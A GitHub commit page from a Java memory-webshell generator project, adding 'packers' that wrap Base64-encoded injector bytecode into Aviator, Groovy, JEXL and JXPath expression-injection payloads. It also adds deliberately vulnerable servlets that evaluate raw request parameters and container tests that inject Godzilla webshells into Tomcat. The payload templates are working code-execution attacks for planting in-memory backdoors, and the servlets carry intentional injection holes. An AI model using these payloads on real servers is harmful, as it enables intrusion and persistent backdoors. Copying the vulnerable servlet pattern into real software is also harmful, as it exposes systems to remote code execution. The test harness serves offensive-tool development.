Skip to content

Commit

Permalink
feat: support more expression packer
Browse files Browse the repository at this point in the history
  • Loading branch information
ReaJason committed Jan 29, 2025
1 parent 410ee1e commit c808a52
Show file tree
Hide file tree
Showing 19 changed files with 400 additions and 9 deletions.
Original file line number Diff line number Diff line change
@@ -1,16 +1,20 @@
package com.reajason.javaweb.memshell.packer;

import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
Expand Down Expand Up @@ -69,6 +73,10 @@ public enum Packers {

OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()),
Groovy(new GroovyPacker()),
Aviator(new AviatorPacker()),

SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.packer.aviator;

import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class AviatorPacker implements Packer {
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";

@Override
public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.groovy;

import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";

@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.jexl;

import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class JEXLPacker implements Packer {
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";

@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.jxpath;

import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathPacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";

@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -147,6 +147,10 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
case SpEL -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content);
case JXPath -> VulTool.postData(url + "/jxpath", content);
case JEXL -> VulTool.postData(url + "/jexl2", content);
case Aviator -> VulTool.postData(url + "/aviator", content);
case Groovy -> VulTool.postData(url + "/groovy", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ public class Tomcat8ContainerTest {

@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
Expand Down Expand Up @@ -78,12 +78,6 @@ static Stream<Arguments> casesProvider() {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
package com.reajason.javaweb.integration.tomcat;

import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;

import java.util.stream.Stream;

import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;

/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
@Testcontainers
public class Tomcat8ExpressionContainerTest {
public static final String imageName = "tomcat:8-jre8";

@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);

static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity)
);
}

@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}

@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
16 changes: 14 additions & 2 deletions vul/vul-webapp-expression/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,8 @@ java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}

dependencies {
Expand All @@ -22,7 +22,19 @@ dependencies {
implementation 'org.apache.velocity:velocity:1.7'
implementation 'ognl:ognl:2.7.3'
implementation 'org.mvel:mvel2:2.4.7.Final'
implementation 'org.apache.commons:commons-jexl:2.1.1'
implementation 'org.apache.commons:commons-jexl3:3.2.1'
implementation 'commons-jxpath:commons-jxpath:1.3'
implementation 'com.googlecode.aviator:aviator:5.2.7'
implementation 'org.codehaus.groovy:groovy:3.0.6'
implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
providedCompile 'de.odysseus.juel:juel-api:2.2.7'
providedCompile "javax.servlet:servlet-api:2.5"

testImplementation platform('org.junit:junit-bom:5.11.4')
testImplementation 'org.junit.jupiter:junit-jupiter'
}

test {
useJUnitPlatform()
}
22 changes: 22 additions & 0 deletions vul/vul-webapp-expression/src/main/java/AviatorServlet.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
import groovy.lang.GroovyShell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
* @author ReaJason
* @since 2024/12/14
*/
public class AviatorServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
resp.getWriter().println(evaluator.execute(data));
}
}
20 changes: 20 additions & 0 deletions vul/vul-webapp-expression/src/main/java/GroovyServlet.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
import groovy.lang.GroovyShell;
import ognl.OgnlContext;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
* @author ReaJason
* @since 2024/12/14
*/
public class GroovyServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
resp.getWriter().println(new GroovyShell().evaluate(data));
}
}
24 changes: 24 additions & 0 deletions vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import org.apache.commons.jexl2.Expression;
import org.apache.commons.jexl2.JexlEngine;
import org.apache.commons.jexl2.MapContext;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
* @author ReaJason
* @since 2024/12/14
*/
public class JEXL2Servlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JexlEngine jexl = new JexlEngine();
Expression e = jexl.createExpression(data);
MapContext jc = new MapContext();
resp.getWriter().println(e.evaluate(jc));
}
}
26 changes: 26 additions & 0 deletions vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@

import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
* @author ReaJason
* @since 2024/12/14
*/
public class JEXL3Servlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JexlEngine jexl = new JexlBuilder().create();
JexlExpression e = jexl.createExpression(data);
MapContext jc = new MapContext();
resp.getWriter().println(e.evaluate(jc));
}
}
21 changes: 21 additions & 0 deletions vul/vul-webapp-expression/src/main/java/JXPathServlet.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import groovy.lang.GroovyShell;
import org.apache.commons.jxpath.JXPathContext;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
* @author ReaJason
* @since 2024/12/14
*/
public class JXPathServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JXPathContext context = JXPathContext.newContext(null);
resp.getWriter().println(context.getValue(data ));
}
}
Loading

0 comments on commit c808a52

Please sign in to comment.